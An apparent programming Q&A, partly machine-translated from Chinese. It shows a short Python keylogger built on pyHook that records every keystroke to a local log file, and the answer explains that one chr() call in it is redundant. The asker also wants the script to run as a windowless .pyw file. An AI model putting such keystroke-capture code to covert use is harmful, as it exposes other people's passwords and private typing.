Python 键盘记录器

Python keylogger

我试图在 python 中制作一个键盘记录器,并在许多博客上偶然发现了这段代码:

file_log='F:\test\log.txt'

def onKeyboardEvent(event):
    logging.basicConfig(filename=file_log,level=logging.DEBUG,format='%(message)s')
    chr(event.Ascii)
    logging.log(10,chr(event.Ascii))
    return True

hooks_manager=pyHook.HookManager()

hooks_manager.KeyDown=onKeyboardEvent

hooks_manager.HookKeyboard()

pythoncom.PumpMessages()

好的,我这里有3个疑惑:

First,As far as I understand, chr(event.Ascii) is used to convert ASCII values of keystrokes into valid char values, Why are we doing it twice : chr(event.Ascii) logging.log(10,chr(event.Ascii)). Isn't the line : chr(event.Ascii) redundant here.

Second , whats the use of 's' in format='%(message)s'

And third: I saved the file as '.pyw' But when I double-click it, it wont work. Although, It works thru Cmd

As far as I understand, chr(event.Ascii) is used to convert ASCII values of keystrokes into valid char values, Why are we doing it twice : chr(event.Ascii) logging.log(10,chr(event.Ascii)). Isn't the line : chr(event.Ascii) redundant here.

是的,你没看错。即使它不是多余的,它也没有用——这只是一个表达式语句,它计算一个没有副作用的表达式并且不对结果做任何事情,所以它没有任何效果,除了浪费一点 CPU 时间。

当您在 Internet 的某个地方找到随机代码时,并不能保证它是绝妙的代码。

也许作者得到了奇怪的值,并决定他们需要能够在 chr 调用之前或之后放置一个断点,所以他们将它移到了自己的行上。或者得到异常,不知道如何判断它是来自 chr 还是 log。当然,要么他们应该完成 s = chr(event.Ascii) 然后在 logging.log(10, s) 中使用它,但也许这只是他们忘记恢复的一次性快速和肮脏的事情。

或者作者对 Python 的了解比你少,或者是个白痴,或者只是按他们调用内置函数的次数获得报酬。谁知道?